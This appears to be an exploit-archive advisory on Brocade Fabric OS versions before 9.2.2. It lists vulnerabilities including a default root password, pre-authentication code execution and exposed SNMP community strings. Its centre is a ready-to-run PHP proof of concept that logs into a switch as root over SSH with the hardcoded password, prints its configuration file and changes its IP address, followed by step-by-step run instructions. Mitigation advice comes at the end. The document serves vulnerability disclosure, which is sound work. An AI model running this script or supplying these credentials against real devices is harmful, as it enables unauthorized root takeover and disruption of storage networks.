=============================================================================================================================================
| # Title     : Brocade Fabric OS < 9.2.2 – 10 Critical Vulnerabilities Allowing MITM, Weak Crypto and Hardcoded Key Compromise             |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.broadcom.com/products/fibre-channel-networking/switches                                                         |
=============================================================================================================================================

POC :

[+] Summary
    ------------------------------------------------------------

   Brocade Fabric OS versions older than 9.2.2 suffer from multiple
   high‑risk vulnerabilities including remote code execution,
   information disclosure, man‑in‑the‑middle, weak cryptography,
   hardcoded keys, insecure SNMP services, and exploitable default
   root credentials. A remote attacker can completely compromise the
   device, execute commands as root, modify network configuration,
   extract sensitive configuration files, and push malicious firmware.

   ------------------------------------------------------------
[+] Vulnerabilities
   ------------------------------------------------------------

[1] Default & Weak Credentials (CVE-2021-27797)
   - Username: root
   - Password: fibranne
  Allows full SSH/Telnet/web root access.

[2] Pre‑Authentication RCE (CVE-2022-33186)
    - ezswitchsetup protocol on 52357/udp runs as root.
    - No authentication required.
    - Attacker can change passwords, alter configs, or take full control.

[3] Insecure SNMP Access
   - SNMP communities: “Secret C0de”, “OrigEquipMfr”.
   - Full system info disclosure.
   - Potential MITM → malicious firmware upload.

[4] Insecure HTTP/Java Access
    - Credentials sent in base64.
    - Java management clients downloadable without validation.
    - Command injection possible.

------------------------------------------------------------
3. PoC – Remote Root Access (PHP)
------------------------------------------------------------

<?php
require 'vendor/autoload.php';
use phpseclib3\Net\SSH2;

if ($argc < 2) {
    exit("Usage: php poc.php <target_ip>\n");
}

$target = $argv[1];
$user   = 'root';
$pass   = 'fibranne';

$ssh = new SSH2($target);
if (!$ssh->login($user, $pass)) {
    exit("[-] Login failed.\n");
}

echo "[+] Login success!\n";

// Read sensitive configuration file
$config = $ssh->exec('cat /etc/fabos/fabos.0.conf');
echo "[+] Configuration file content:\n";
echo $config;

// Example of remote command execution (proof only)
$new_ip = '192.168.1.100';
$ssh->exec("ifconfig eth0 $new_ip netmask 255.255.255.0");

echo "[+] IP address changed to $new_ip (PoC demonstration).\n";
?>

------------------------------------------------------------
4. PoC Execution Guide
------------------------------------------------------------

Step 1 – Install phpseclib:
    composer require phpseclib/phpseclib

Step 2 – Save the file as:
    poc.php

Step 3 – Run the PoC:
    php poc.php <TARGET-IP>

Example:
    php poc.php 10.13.3.8

Expected Output:
    [+] Login success!
    [+] Configuration file content:
        <system config appears>
    [+] IP address changed to 192.168.1.100

------------------------------------------------------------
5. Recommendations
------------------------------------------------------------

- Immediately change all default credentials.
- Restrict management interfaces (SSH/SNMP/HTTP).
- Disable ezswitchsetup protocol.
- Upgrade to Fabric OS 9.2.2 or later.
- Monitor logs for unauthorized access.
- Verify firmware integrity regularly.

------------------------------------------------------------
6. References
------------------------------------------------------------

https://pierrekim.github.io/advisories/2025-brocade-switches.txt
https://pierrekim.github.io/blog/2025-03-31-brocade-switches-10-vulnerabilities.html
https://www.broadcom.com/products/fibre-channel-networking/switches


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================